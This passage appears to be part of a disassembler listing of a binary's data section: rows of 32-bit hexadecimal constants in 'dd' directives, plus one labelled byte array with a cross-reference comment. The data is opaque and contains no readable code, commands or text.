dd 30F1BB1Bh, 811C424Ch, 58E25486h, 38C6ACC3h, 0EDD17CEDh
dd 8A4CFDAFh, 0AAEE358Bh, 0CDB2C035h, 2FED645Fh, 0C8BFD8E1h
dd 0EB8D03EFh, 9E85231Bh, 8349AA20h, 71695999h, 9274C95Ch
dd 765480CEh, 1BBFA366h, 1F762599h, 68512D2Fh, 0A9108B9Ch
dd 2472A1F0h, 0AB321FC2h, 0A95DBCB4h, 1496FB27h, 35CFCD05h
dd 0A408FC0h, 6436F9D0h, 56B8BCEDh, 2A1DA9BBh, 330AE6C3h
dd 0C6802B5h, 0C69D2E50h, 4A2102EBh, 0D21B56F4h, 69ED91BDh
dd 1084941Dh, 5A61FA4Dh, 0E2B41D05h, 0A85C606Eh, 4CE1822h
dd 54291D01h, 0F6500229h, 9BB81123h, 0D9524A0Eh, 0CD5EB9C0h
dd 0C3CC0458h, 7DF3F6C5h, 8EA2E947h, 9316F628h, 0F492B5E8h
dd 0B8E73C1Ch, 5069F289h, 9932743h, 3C28D041h, 0C864D744h
dd 2FFE28D9h, 34AF9FC2h, 4136DC2Fh, 752DA828h, 724EE7C1h
dd 97FEEEBFh, 0BBD1F34Eh, 8982CF7Fh, 0EC55D37Dh, 84B114C9h
dd 0C297C4EDh, 0CF9E0283h, 88D5D044h, 0D1C3D5FDh, 1FB666E2h
dd 37E41921h, 3D0BD747h, 0F03DF507h, 523C1A7Ah, 68D72347h
dd 17CE983Dh, 1BC9D568h, 572A74ACh, 0F4ABF1D4h, 879506FFh
dd 29E43127h, 0D027677Ah, 2276CCABh, 1242C48Eh, 3CC268EDh
dd 0B80F31C3h, 0D6875810h, 484FB1D4h, 0ACC29B5Ch, 0E859442Fh
dd 0B4CFC684h, 0F1BEE4FCh, 709817D1h, 4330334Ch, 0B96268Ch
dd 731543EFh, 0CC34E1C5h, 0DCE56D8Fh, 2F08EC0Ah, 0F6605401h
dd 0D0221B57h, 0B0F328E0h, 0E9059A3h, 84399C79h, 515820CBh
dd 9A44B29Bh, 0C7B2967Dh, 0C1399CB6h, 16163359h, 1236A171h
dd 7A9A181Ah, 0AB1193E2h, 571E07B0h, 6F966F02h, 2F282DFBh
dd 0D4CD0E00h, 8A4412A0h, 0FD122DAFh, 0A7D16FB2h, 6762B64Eh
dd 0C6F36430h, 2937DF2Dh, 12AF3C2Ah, 1434F263h, 61E1BB29h
dd 0B19C9AD1h, 5C5FCDD3h, 0E59A3B78h, 0B772214Ah, 5DE64F50h
dd 0D0CAA0F2h, 77071439h, 7B6B2AF4h, 0E379539Fh, 0AFE16BE1h
dd 111D2267h, 9A6A517Fh, 0D5F29E4Fh, 0D57951B5h, 0A14CC2DBh
dd 0A8B7AB1Dh, 0BF76F50Ah, 98BB82A7h, 0FADFF1BBh, 7569993Ah
dd 0C33A51D9h, 5170AAD3h, 9062C4FEh, 8E8AE2BBh, 0E10B4A5Bh
dd 0DFAB84D0h, 0CCE3E88Fh, 3CB1C494h, 1DCBEF2Eh, 0E9FEDA79h
dd 12E21947h, 0B7C6F74Bh, 7A259F25h, 4EA97548h, 938ED6DFh
dd 0FAF2E08Dh, 0C63BE8B6h, 3F4DB9A5h, 336BD2B7h, 0ABA0C7C4h
dd 0A271BE14h, 0B036DC4Ah, 0A3CEEC6Fh, 9766AD6Bh, 0C3555D0Dh
dd 0B7A815A5h, 9CE4CB26h, 0A0E1E3E6h, 0CB059540h, 3D9CA4EBh
dd 4A53CB70h, 0D1F3B983h, 0C8CEF8A4h, 784D6077h, 553D1717h
dd 2F4F2EDDh, 60BA5EC0h, 0ED0C8DA2h, 3ECF30AAh, 0ED19D199h
dd 0E8C83E9Eh, 666306A4h, 4A91B4DEh, 0E51F44E6h, 238076C8h
dd 2F390A5h, 55ADE762h, 93C5CCF0h, 8FFDF622h, 0C3D08909h
dd 2A359407h, 0FE6036DFh, 1603A088h, 0E9F24723h, 783221DCh
dd 0E8E25D93h, 0A11F5FD2h, 8ABCDAC1h, 0CF389C85h, 0EB3463E3h
dd 1A7D1011h, 10DC8659h, 0E5AD83CCh, 5D4B7BCh, 21A26783h
dd 9ED71C5Ch, 58F08165h, 0E89EA9ECh, 0DF7BCC9Fh, 4E2F20A4h
dd 83731E07h, 0C1C8AC5Ah, 8D475A50h, 0EF15683Eh, 0BD8D64EFh
dd 0C0F9B7B0h, 0EBDDCBA0h, 0DE58C0h, 0F2C48D75h, 27B86ABBh
dd 7D2657A9h, 1A5A0ACEh, 508DF2EFh, 0C51151AFh, 0BE5952BFh
dd 9680D7D3h, 97E408E5h, 0E15528A9h, 875EB3FDh, 0A2585973h
dd 0CDF3C089h, 27352933h, 6B6B1DBFh, 5BF408DFh, 934E851Ah
dd 0AF0BFC01h, 0CD13CCF1h, 209A681Fh, 959397C4h, 30B63699h
dd 2860249h, 0FA46309Eh, 2C786664h, 9FBED67Eh, 18884216h
dd 6478AD4Bh, 0E6F59382h, 0DDA25DDEh, 0E42B8541h, 1A12E515h
dd 0C4344AC9h, 5AFA185Fh, 0A8CFE2D5h, 910833D4h, 0A7639E0Dh
dd 7BD1CF2Dh, 41940672h, 3E1957C6h, 0A6841FA6h, 0BAD07DEBh
dd 0DD150C06h, 5274D93Bh, 3FE2540Fh, 453682CFh, 12EE95F5h
dd 9D017947h, 3795165Ah, 42D7FB1Ch, 0BE7456C6h, 0A8BABDEBh
dd 1B4D57B0h, 1901989Eh, 79ECC545h, 41C3D7ACh, 2EDB162Fh
dd 0F63184E4h, 0C935CDB8h, 0BBFCA4CBh, 0DC930339h, 1048DA5h
dd 0BFF43F5Bh, 0A308EAAEh, 923D6347h, 0DE1CFFEh, 0C0B3B30Bh
dd 0DDB62C1Fh, 0FE479B8Eh, 3AD0C239h, 67B0FA9h, 41C164DAh
dd 0B46B1D30h, 3BD92947h, 4B66ED0h, 476C6202h, 0C98FBC9Ch
dd 0D7B918F0h, 42211C2Ch, 7A40236Ah, 0D01F5B1Ah, 470EFDDh
dd 869E8A34h, 9406A5D6h, 235F7286h, 0D22E487Dh, 0E76C5E74h
dd 17A69382h, 6CB75FE3h, 6FB704A4h, 2F13C56Eh, 9A824E79h
dd 2FC53509h, 259BE75Ch, 8F3E6A00h, 4A0EDCC9h, 2DB2BFEBh
dd 0C21AC19Eh, 0AE847F0Eh
dd 400E5803h, 79FFF61Bh, 0AA28BEE5h, 5A385713h, 52470B43h
dd 0E8BDF217h, 99DFBDFAh, 0C18D6767h, 518835ACh, 41E9B30Ah
dd 0BC92F379h, 0B9E698Ch, 0A328CC0Fh, 0FC7F597h, 0A770AEA5h
dd 0F1ED9D5Fh, 111A28Bh, 0CFBBAF3Bh, 9CBAC08Ch, 0B4017379h
dd 12A18A98h, 0AC412EF7h, 0F799EB8Ah, 2F561B3Bh, 0A8E348E7h
dd 0D5312CDDh, 0B7B80443h, 0C0CA7D94h, 11AE2EEFh, 2D5FE9C3h
dd 0A0F3F0A7h, 0F25C28F6h, 6044362Ah, 0C104E470h, 92293660h
dd 53C7A9A9h, 3A7D9F98h, 0C020A684h, 5FB75129h, 0D2C3C334h
dd 0CEDA49EDh, 0BDB111FAh, 0D987FBF2h, 0F81AF25Eh, 0C4F0CF7Ah
dd 24098D17h, 0AECCD66h, 0EC8E81C5h, 23E321Eh, 0BCE14ADAh
dd 967F3E7Ch, 56B34652h, 2C1B669h, 8E16D5C4h, 0BD3B226Ah
dd 0B44EBAE4h, 0AFAC755h, 7058BCF3h, 0E7FFD09h, 0B1D082A6h
dd 2FF7E379h, 0EC0CC280h, 0EA7061F5h, 74FE9257h, 2DE4272Ah
dd 32B9F30Ah, 34E412F5h, 1E7AD21Fh, 8A7E453Dh, 232681D4h
dd 6D0FAE58h, 0C11349DEh, 0EF3820B8h, 8DC1846Fh, 0C8B33F0Eh
dd 0E5C1CE12h, 7CBE7300h, 0D479645Fh, 35440667h, 2B6607B6h
dd 0F27715C0h, 0D81FF713h, 0EBCA9FA2h, 0A985929Bh, 6DE3B823h
dd 5E7191AFh, 2E8128A5h, 9797C9F7h, 0D8878528h, 0F6C03AB7h
dd 3A3FD6D8h, 0BB0F1F8Dh, 350EC05Bh, 9D529704h, 5BDCC609h
dd 0A0D36776h, 45800540h, 0E5254B39h, 0CB6AEB7Ah, 12A2565Bh
dd 5C07107h, 0E27D5E7Eh, 89398829h, 52AEFC4Ch, 52CEB4Eh
dd 419C345Eh, 28A784F0h, 4C452898h, 0C5CF9553h, 18050E92h
dd 13E094E2h, 2D37B98Bh, 0A0FFD7D5h, 0F1236306h, 97C84A5Bh
dd 385CA253h, 105F1D03h, 0D9492D93h, 6D88BF18h, 68052AB4h
dd 0B1DCD0D4h, 0C63381F4h, 0ABB75255h, 4D86CA0Bh, 0D9D7F049h
dd 0C7BC20A7h, 0C3A67B02h, 2CAC666Bh, 0B9ADCBFCh, 3129B9AAh
dd 0EEFD8C98h, 0E3BC8B1Ch, 25979689h, 0FD28C581h, 73468264h
dd 1A8EB760h, 68157571h, 0ECDC75FEh, 0E00C06AAh, 71015D3Dh
dd 88EBEE43h, 71BC2FDDh, 63B16B0Ch, 3ABFB8AFh, 2550D0Fh
dd 0E0B651F1h, 86FB42AFh, 844703Bh, 1366880Ch, 0EFE70948h
dd 8C45E9A4h, 3EC5560h, 0A917F2ADh, 0DD52B073h, 697B69CBh
dd 82523807h, 0EAC620A1h, 235C2FBBh, 2BAD09AEh, 0CF94704Eh
dd 0B821DBC4h, 0D04F36A9h, 816457EBh, 0E8FE3A0Dh, 0B9092305h
dd 907554FBh, 0FA0C885Ch, 0A3D62C95h, 6D21843Eh, 0BA2469B8h
dd 721A4EA0h, 0C5D874CFh, 6982C5B7h, 6F0E4E27h, 45641DD2h
dd 0F944064Ch, 8E556FD5h, 0FC504DF0h, 0CD58FDCEh, 0D6BD778Ch
dd 0A3772FDAh, 4BBEA920h, 0DD82AF44h, 987A665Eh, 23820ED7h
dd 3718EF05h, 1A512659h, 0D2784ECAh, 0F79E22Dh, 0CD41B982h
dd 0AD86C505h, 0B66FA926h, 0A7B8A7Ah, 2FB28FC6h, 1FBC3F8Ah
dd 0E359257h, 31FC561Ch, 0D59B768Dh, 8847BF42h, 0E3154019h
dd 3E541D73h, 3CC95C53h, 9D0DBC5Ch, 478D75BEh, 0E6ED958Bh
dd 0E20BE345h, 0FDBFB044h, 0F619A822h, 31D3D25Fh, 612280E5h
dd 5A4460C5h, 0D5835A49h, 0DA8329D7h, 0F5CB8AE6h, 5B653FBDh
dd 2B7143E4h, 0ED6EC72Ch, 410C6D16h, 1A3C8142h, 0F647D834h
dd 6186FF35h, 0F2E14E08h, 13ACB97Ah, 6A7D426Dh, 2329C9C7h
dd 3E47F951h, 140B338Ch, 78A27167h, 0D181B189h, 9577D7EBh
dd 5F4D6DF7h, 0A1C6602Bh, 0CC1016B5h, 0D176267Ch, 0E4D3315h
dd 0B7F28FF6h, 793B27ECh, 0E003EF33h, 4C52FF09h, 0B4B244C5h
dd 60548961h, 573FA035h, 4D7DBB96h, 8723F811h, 5A63B19h
dd 145FB474h, 21BBFD22h, 7BECC39Bh, 0E0B1DDDBh, 0AA8EB0D6h
dd 6BB53688h, 624C253Ah, 0C3CE714h, 1D136362h, 6C798FC1h
dd 738F13BBh, 70374422h, 0B956F31Eh, 9E1E677h, 35B30127h
dd 4983E76Fh, 97E562A3h, 1D8F8F18h, 54B47ECCh, 58D96CECh
dd 76DAF7FEh, 0E398CF18h, 301136FBh, 0D739214Dh, 827F0941h
dd 7C6D280Dh, 94697B3Bh, 9FA961B7h, 505A3D32h, 5F787245h
dd 1F9AE3B4h, 700D7FB4h, 0C434C57Ch, 6AF86295h, 59EBE414h
dd 63BAFE93h, 7C6DA34Eh, 6DA03A30h, 0EFD53F4Ch, 0F3CE010Ch
dd 97EDB595h, 0B54EDB8Ch, 64268673h, 4CB444BEh, 0C62C16AEh
dd 8DF7A520h, 7B6747BEh, 6E77A8F7h, 0B3F2CF32h, 3C7F4BDCh
dd 0F374A4A0h, 47FED0B7h, 33122F9Dh, 8FC2C3Ah, 557B14DCh
dd 2AACCF27h, 0F1329369h, 50DFB644h, 0B57077Fh, 0F0C5F2B6h
dd 0C5F8DE0Fh, 0F33FC05Eh, 0A00E6472h, 5832394h, 0E08F7925h
dd 0AEDD2BCEh, 0AC36DAB1h, 0BD561AFh, 8DEAFF42h, 0A361E1DCh
dd 4E80622Bh, 60BDD38Ch, 78F6F2FBh, 0F800BBEAh, 0B1271B25h
dd 9DB3A2E4h, 933A57D3h, 0FBCECC7Ah, 37EFEAFEh, 1CC448B3h
dd 0D7416198h, 7B37F716h, 84E284D2h, 8971A729h, 0C0E34151h
dd 5F6E8444h, 49D82E13h, 0F0C1A24Ch, 8160BE7h, 21B22F42h
dd 2D966EEFh, 0E048A077h, 0FF8F6D49h, 28C48B89h, 31654F36h
dd 65CE87D4h, 0F6EF29FFh, 5F89F572h, 2420048Eh, 16280174h
dd 0D4006318h, 9523B1CEh, 5AE3FE4Fh, 144BD3Eh, 0F4AD682Fh
dd 0EE0C064Fh, 421721F0h, 0C86F6032h, 75E607C4h, 0D5C02DEBh
dd 42211CDFh, 0B6149CD6h, 58846205h, 0D6B661FEh, 3629B504h
dd 14BDCFAEh, 0ACFE4B43h, 0A86CFBF3h, 0C28968BEh, 0F036F3B1h
dd 2691178Ah, 5B76BCD6h, 0F9174791h, 75D9065Ah, 3004C9E5h
dd 89FED2CEh, 554B3B9Ah, 7E3571A6h, 104522B2h, 1176DBE8h
dd 0CD64D451h, 6D2A4F0h, 0A0130BECh, 0CD165035h, 0B4AF9CDEh
dd 3C272B0Ch, 3578A1B9h, 74BC2066h, 5F0F706Dh, 92464944h
dd 6ED0A939h, 7EC1253Bh, 3CA1A443h, 0D9AF5D17h, 0C7A22266h
dd 0F5556EB5h, 0C49B723Ah, 0A21BDF91h, 0D06AF220h, 78890B06h
dd 4545721Ch, 6032A411h, 65AFC52Eh, 72AAF0EDh, 268F9DFDh
dd 0C74396Eh, 13C278D3h, 9200F273h, 68F308DEh, 0DABB5DBBh
dd 0C66FCCEBh, 3137DC41h, 0C4F5962Bh, 0C7C717F5h, 1FEB6A1Dh
dd 163109CDh, 0DF27D7D2h, 0B82D6C41h, 0C3D95DEh, 0BAB9468Bh
dd 0B985599Bh, 331B20Bh, 920DE857h, 523AF780h, 393EE336h
dd 6B778AF4h, 643BDD72h, 1DB74839h, 401AF762h, 0F7449F1Ch
dd 0F33D55B0h, 63AE6ED2h, 57F41125h, 13CF52E0h, 0D3748CCAh
dd 0A9D831C8h, 1BF628B7h, 398B299Ah, 0FC0F0EA4h, 14FAC18Ch
dd 2B95B1A2h, 0E5DA6046h, 0ED6130F5h, 2DBE32EEh, 0DF0FC851h
dd 2D3F2ECh, 2BF7ADBEh, 0C95378D9h, 0E3B84046h, 0C7FF8EA3h
dd 18D86969h, 9C8029D1h, 58CF4388h, 3E5B6DD1h, 65037DBCh
dd 43B2DB74h, 4AFC02C4h, 0D87218FEh, 0A529981Ch, 6B32566Dh
dd 0F0BAFD94h, 87809396h, 99B176DAh, 18256A33h, 5051AF45h
dd 71F62423h, 24145F3Eh, 31810EEBh, 0BB99CA7Ah, 6F887ABBh
dd 0E34D1D90h, 42D121FBh, 836D81D2h, 0AD7F8DC6h, 0D8B2F22Dh
dd 54D3ADD3h, 41C8DD68h, 80A4DEAFh, 5E63A942h, 1A588449h
dd 0F75D0E33h, 1428B308h, 0BA0C252h, 0E120DC0Bh, 80D7978Eh
dd 666AA1D1h, 0CDA2646h, 1A03B2FBh, 3EE5761Bh, 4D0DC54Dh
dd 28DD4C67h, 566F6D7Dh, 110E0530h, 0F0D1FA5Ah, 9A4B10A4h
dd 1F950536h, 3E7A41B0h, 856D3577h, 0B29B328Bh, 0DEF7E34h
dd 0DC0623BCh, 0A5350239h, 0BB6D96CBh, 5C4A6B05h, 8B4060DDh
dd 0DC7D1C22h, 8402F24Eh, 4D58962Dh, 0B99AE81Bh, 480B9BB6h
dd 90D2ADBEh, 148BEAD1h, 96546FA2h, 2A5D44F0h, 3202E393h
dd 4F3A4A57h, 2945C598h
dd 51293409h, 0ED544E14h, 35C67287h, 0BB8FCD13h, 5EA0E2C8h
dd 4DCE4C62h, 6C40DB85h, 886DE4F3h, 20244B3Fh, 0DC937A13h
dd 1B37F647h, 0BA7A0AABh, 9D50BAB3h, 0DEB7907Dh, 35EEC611h
dd 0B971D97Eh, 1E1C1D67h, 0C4C13D99h, 0A17D2496h, 7B5D9ED7h
dd 0AC7E4C3Eh, 3B5BC4CEh, 5437AABAh, 9F817221h, 0DDD43FD5h
dd 0C0DC0E96h, 0C033041Dh, 24B82B14h, 2AAA65F1h, 0FF8AEB78h
dd 138C6EBAh, 9100BF0Fh, 9C885770h, 676A098Bh, 2CCF917Ah
dd 675A7A7Fh, 8764B892h, 1200A6B7h, 0FC46DA75h, 3DF4572Eh
dd 62F1EDFh, 0FBD15A33h, 0D8A5F306h, 1A827084h, 32B8078Fh
dd 0F7DEF8AFh, 10BBE80Eh, 991CF695h, 0BB2439DBh, 0FCB18D6Ch
dd 0A0342A63h, 6F1B8D68h, 35BB12A7h, 31C88843h, 0F59E9BF6h
dd 0A8B7A166h, 0A60251B0h, 0BB3278D5h, 0C222B011h, 2F6C47B2h
dd 0A9F8BD7Bh, 65A8491Fh, 47B4CE9Ch, 0BCB9E425h, 4DFD206Bh
dd 4627DAFEh, 29920344h, 3D3834B2h, 60B03CAEh, 21F0D6F2h
dd 0E9031DFFh, 658F0DC1h, 54A43BC3h, 0E959DC77h, 0B6960309h
dd 1C023E89h, 48A1FEFEh, 73235C90h, 0E19A519Bh, 97D1F0Ah
dd 9227D1D4h, 0C1967D8Ch, 0A9E95F3Dh, 381BBA0Bh, 79BAADEEh
dd 7843285Ah, 305654EBh, 0DEC96AE7h, 31FCDD23h, 0B23B3C91h
dd 658B555Ah, 71D9812Dh, 0D25B7A75h, 5C1FC66Fh, 5907FA75h
dd 0C762EC09h, 50D66873h, 97896C5h, 81C6C7B2h, 0A164066Fh
dd 7961658h, 7ED20D42h, 0DB85035Ah, 0F8C0DA1h, 10238085h
dd 9B621AD4h, 4F6D261Ah, 5EC1639Bh, 5E281386h, 0C82FA5h
dd 2B62D08Bh, 0ACA71177h, 0EE8D646Fh, 957537CDh, 673EC91Dh
dd 0B8356F39h, 0B8A62EA9h, 3078633Eh, 0CC87DE47h, 945F0B30h
dd 0CD514AB0h, 4278BCA1h, 9971C4Eh, 994C16D7h, 867A0328h
dd 2915656h, 54CB3F2h, 6ECDC921h, 2E1C03Dh, 0F8F70F8Fh
dd 1B9F4902h, 0ECC4A857h, 0FC5F5256h, 0F03BBEADh, 0CE314488h
dd 6878B005h, 0A5F8DA3h, 400AB82Bh, 0A1A7E183h, 4E1B1FECh
dd 1276C41Ah, 31DAC5E0h, 0CCB8D8CFh, 3D5BF5D9h, 0EE581D75h
dd 4378CA58h, 0C384C131h, 50BC02E1h, 0DDEC2D3Ah, 0EA5EDD4Fh
dd 248B5F2Ch, 608C9C27h, 1843C875h, 725FEC82h, 0F91C4E95h
dd 43484C29h, 0E32CFEh, 0A716F9CAh, 73CE69A7h, 627F4C90h
dd 66E21780h, 0F60E7D1Fh, 21F7412Dh, 8232A958h, 0F8426228h
dd 55F97EB7h, 776720CCh, 9691BF27h, 21D69C49h, 0E1A9F42Fh
dd 88DE0F10h, 60DB1AEAh, 977A5E6Ch, 403E2141h, 7B9CF6B5h
dd 1DDE0134h, 7A151C86h, 4D161B4Bh, 0DCA73EBCh, 93F3718h
dd 1A84DBF1h, 0E355F873h, 2D9A8ED2h, 0A241C818h, 0D1126DFAh
dd 0B47EBFEDh, 3434C440h, 0B280745Ah, 81699CF1h, 0A2AF53BBh
dd 684752E4h, 6FD549EDh, 0BDBD8843h, 46C22F70h, 0CDCF42D2h
dd 74E3BA5Ch, 131F68B0h, 138EF0D9h, 76D0DBAFh, 0BC047B8Eh
dd 0C1876717h, 313226DFh, 0DDBB83F0h, 78EF2F66h, 40A76696h
dd 0DB3EC010h, 2B5179FDh, 0A97B208Dh, 0A82910ACh, 0B9070C29h
dd 857D4BBh, 55A6722Eh, 10B2DB4Eh, 41AF13A9h, 0D16F9102h
dd 0CC8E010Ch, 0BEC7BC14h, 2B9F9ADh, 4A80DC37h, 8DC64B07h
dd 9D993DB7h, 0B5BA1E1Ah, 62DBFF14h, 0DB345D55h, 56144A96h
dd 90542009h, 0B939D815h, 8BAA77B0h, 6D8301D6h, 74084F1Fh
dd 0E5CAC942h, 0B766FB56h, 105805FBh, 0DB2C0666h, 0CB1F8E94h
dd 12951B1Ch, 0FD8F4FE1h, 3174C530h, 0B682524Fh, 1C148DE9h
dd 0E8C3E3Dh, 9FCF6455h, 21DFF76Bh, 0A1086h, 1D893F50h
dd 0D4628665h, 90C3864Ah, 0CFC52A04h, 0F22EBCEh, 0ECF0026Eh
dd 0B01811EEh, 34CC06BBh, 1B424EBAh, 0A196ADCBh, 5E731E7Eh
dd 0E2FEE5CAh, 6CB87031h, 0AC4AC68Ah, 3A6395C7h, 255188E2h
dd 0F68FB85Ch, 0E2511F18h, 0E5C6251Dh, 2B69ADC2h, 3997A40Eh
dd 0AF93ADB4h, 466A22CBh, 0D5CD3202h, 8A1B51E7h, 3CBDE53Ah
dd 0CA0EC94h, 0EB3EA93Ch, 0A9C08001h, 0A42CFECBh, 841434B4h
dd 0ACD4218Ch, 359A7159h, 7AEAEA32h, 0A02350F0h, 0F17270A0h
dd 0C7370E46h, 3C444916h, 0FAFB1333h, 5996310h, 34F4EC9Dh
dd 0F42FDF41h, 0E994E00h, 0D525ECD6h, 38B3BB58h, 79E6F1DBh
dd 2314BCEDh, 5D2B8C76h, 52191274h, 0B40EBA30h, 12562DC6h
dd 45726BB1h, 0C14EE3BBh, 0A34FE9EAh, 16A5A8DAh, 9578C30h
dd 52E4AA8Ch, 6F514FB9h, 0A25DEDD3h, 0CECB6507h, 673610F2h
dd 0CD4FCCD3h, 0CB97498Ah, 0D7639F2Ah, 2D68B6F7h, 906A065Ah
dd 3D7A8428h, 0E2DADB05h, 0EBAAC28Dh, 0EBE21A30h, 83ABC64Dh
dd 359494B3h, 66C37821h, 0BBE0B034h, 0F4FF6623h, 2DD42314h
dd 7EF6E628h, 11A53BBCh, 8359120Bh, 0DF9EF982h, 6ACEDFA1h
dd 0BDE65B01h, 9209F18Dh, 0E385B022h, 9231C399h, 0B58B7A54h
dd 0EF2A0934h, 0F0FEB53Fh, 0BD05F8C4h, 3E95945Dh, 0D480F7EBh
dd 95DE369Eh, 42FAC14Eh, 0AACA2E6Ch, 0F7327723h, 347CD8CCh
dd 50EA361Ah, 0BACB08E3h, 7516F887h, 1A550138h, 0D96AD622h
dd 82C3ED97h, 223F9FD1h, 3A94BB11h, 1E0C4BCFh, 0D75E5430h
dd 0BDE84B04h, 0A2EFBBD2h, 700EAC1Ah, 0E429FDC1h, 0BA4FC158h
dd 222D445Ch, 1D6C70F6h, 0C60887Ch, 2D636421h, 0E10772D0h
dd 0F751876Fh, 96E87909h, 6FF9CF99h, 0A5E37A7Ah, 0C4172A31h
dd 0B1ACF723h, 0AD0C989Ah, 27E06C6Eh, 0D60E08F8h, 56103B8Fh
dd 0ABEEFC30h, 6230083Eh, 4433D661h, 19D9EC6Bh, 1E61F003h
dd 759FBF9h, 0DEC43D32h, 8F5956FCh, 19560704h, 0EF56B794h
dd 1C19B5F8h, 7474D820h, 0C2C4C4ABh, 0E13A1923h, 84747AA0h
dd 0B0E6B56Ah, 931C79Ah, 2BE31865h, 7ACD6C7Bh, 0BCDC3748h
dd 2FBC8BB4h, 69A62148h, 64A22C42h, 0E8C610B0h, 87B3D565h
dd 94A866Fh, 0B7C9679Ch, 8CB9F549h, 0D0773B9Eh, 5D88E816h
dd 2F412AFCh, 402C97E1h
db 8Ah
byte_464E49 db 9Eh, 0Ch, 0 ; DATA XREF: DMN0:off_4100D6o
dd 64CDDB34h, 6869F26Ah, 1D516984h, 57F472ADh, 0A4BEA099h
dd 4B874F9Dh, 19D87CE7h, 1E5FE1F1h, 402530E1h, 85AC32B7h
dd 21AE099Bh, 0AD67A711h, 0C97C960Fh, 0D0E98B8Ch, 6A4DFD0Ah
dd 27E73526h, 0FCAFDED8h, 38D806BFh, 9E604C1Bh, 0CC502664h
dd 0E001B0DFh, 50489BF9h, 8B497FAAh, 37EF1342h, 4FF7C9DEh
dd 0F5F28AF4h, 0D9DD7DD7h, 303882B1h, 0FEC51E4Bh, 38AD28FAh
dd 0DDA744E9h, 0BD564EFh, 81C4D04Dh, 0F9B6416Eh, 0D625B99Bh
dd 3477BD53h, 9387FBECh, 65CFE20Eh, 8DB224D7h, 0A881862Eh
dd 9D6E96C8h, 335AA279h, 2226EEE7h, 6A8CF8DDh, 0A8C187EDh
dd 2827D36h, 596CD369h, 7269C929h, 0B72AB1B2h, 4F907968h
dd 17756724h, 3E36B33Dh, 0A41A9949h, 7B058A3Dh, 75B53EADh
dd 0E12D869Ch, 0C60C9373h, 324CF43Dh, 152C911Eh, 0F4731E7Bh
dd 0A6A60C4h, 0F7E4D03Dh, 0B957341Dh, 22BA1FC6h, 8C795530h
dd 29C759D3h, 4B381CBFh, 5C074057h, 8645A5DCh, 3C2808D8h
dd 0C2193139h, 37D94007h, 41394ACCh, 0AB545840h, 7FC77D33h
dd 0D3812EBAh, 51F8A06Fh, 0B81F0EA9h, 603245BAh, 0D586B2CBh
dd 0EA2E45DFh, 69034E40h, 89FD05A4h, 0E0702D98h, 6CAE086Ch
dd 0E0AF2001h, 9255F9FFh, 59499BEFh, 99C0E268h, 0A512ACFAh
dd 0B41EDEB1h, 0D81683ECh, 0C055BB0Eh, 0A40C4740h, 0CDDF72B4h
dd 0A6DE1234h, 53CF45BFh, 0A16B31F6h, 58AF794Eh, 7D1F5304h
dd 5CF5E63h, 0EA7E7756h, 0CF1C7067h, 0F4A320D2h, 0A31DC729h
dd 9670D0B0h, 86AD615h, 175A027Ah, 0DA5F067Ch, 4C89E9Dh
dd 3B760993h, 0D8EE7672h, 0E55C6C5Dh, 0DD1A8DBAh, 0F449F9D9h
dd 167D6BE4h, 6274D636h, 4FC0D45h, 0B997C522h, 0A80C3670h
dd 50510C57h, 0DEA531CDh, 0D4FCF321h, 7AEE14BDh, 4E90A8FFh
dd 7E9CBF8Dh, 53E0AD3Ah, 17C15056h, 0F7F421BDh, 0EA13F983h
dd 5DBADFA2h, 32246971h, 0F7ABF82Fh, 4DD13789h, 14B0B302h
dd 0F23B08D9h, 218A29FBh, 94887A0Bh, 0C655B0C6h, 67BDAF65h
dd 188DC90Ch, 78693BC6h, 484AC4E5h, 34FC98B4h, 716F7D3Ah
dd 0E51E2303h, 0EAA067CFh, 0B9268997h, 4F33DDA4h, 0AF270113h
dd 834C5C84h, 0B70797FCh, 0C2E6CA34h, 0C2AA71E0h, 48C82877h
dd 12D9159Ah, 1891C1A1h, 95F696D4h, 0DF7C35B5h, 0FE016494h
dd 79869F16h, 4343999h, 0F59D6205h, 68CD3290h, 77674A35h
dd 561E1754h, 0DA97648Fh, 0DD7309E2h, 4CAAD426h, 0D54A2D7Ch
dd 90A6F81Eh, 5FCEA473h, 5397BA12h, 5CFA0C58h, 2A00773Ah
dd 17DBA32Ah, 921E6959h, 0DD189DDDh, 40364652h, 9DF0ABE7h
dd 0DD886238h, 6D197B8Ch, 0D71C6D8Ch, 52C0D87Ch, 5451165Eh
dd 0FBD6BAC9h, 9B883428h, 0F8C624D7h, 4852C93Fh, 16143E66h
dd 834510D5h, 8AFD325Dh, 856E6074h, 6663DC9Ch, 0CBADD1Bh
dd 0E6F7B372h, 0D768F805h, 9846C400h, 2B6EEAh, 0FE41B944h
dd 87B92BF8h, 8B0F7C09h, 0C1D619E1h, 65CEB1EEh, 2726098Fh
dd 78447583h, 0C0C0A9CCh, 0BFF89036h, 73C57694h, 92B563Fh
dd 0B27FEFCFh, 0B24218BEh, 8A309B29h, 0CD6619F9h, 17AE367Dh
dd 6BF48D9h, 7B6F0BA0h, 40A5B053h, 0FEC7DF40h, 1F426C0h
dd 51B97C6Bh, 3CB7E2CBh, 5CFD4DB6h, 86D11059h, 2BAB864Fh
dd 20ECC312h, 7782BC51h, 0A14D8B26h, 0F32EFDF4h, 0B92017ECh
dd 201335D9h, 0D88001D2h, 150E1C27h, 953FCDD6h, 153D81DFh
dd 0A0384CEh, 0DAF2CD05h, 2828D71Dh, 0D10CB6B1h, 0F4DFAF80h
dd 541A7549h, 85DD7462h, 0E242C142h, 690F9F2Bh, 0B7056DDAh
dd 4D5AA857h, 0E71E17FBh, 0F5B7B672h, 5333468Eh, 141A0438h
dd 0A203FD07h, 0C7612A61h, 0B19BC964h, 90640DE3h, 0C573526h
dd 0AE93DB7Bh, 8D3A1C2Ch, 0E0F4F98Fh, 0E95A6D10h, 22432741h
dd 0D2BBDCABh, 32E6A3D4h, 8552C858h, 5CAB68Ch, 83DBF81Bh
dd 1FA4BFB1h, 9C40743h, 67819361h, 91B1400Fh, 784A59C3h
dd 44362D25h, 0BFE40BD7h, 7161049Fh, 4FA1B7BBh, 0BDBF7601h
dd 324250DDh, 0CF32213Ah, 0ED66094Ah, 53AE05E1h, 9B4017ADh
dd 0F76F0EB2h, 6AA7095h, 0DDC7DF1Fh, 6650125Bh, 50E902F8h
dd 0B9879628h, 0F4504E30h, 8ED91054h, 9DFD8F5Eh, 36C4A13h
dd 47A316C4h, 0A0408026h, 0F132C924h, 0C850C756h, 0DCEA20DEh
dd 0D212F9D2h, 17E71D24h, 653DEFD6h, 0E55DF2DDh, 0F401C80Ch
dd 0D6B2C8C8h, 0EE68AD6h, 0D2F76B77h, 908C2808h, 55DD02BEh
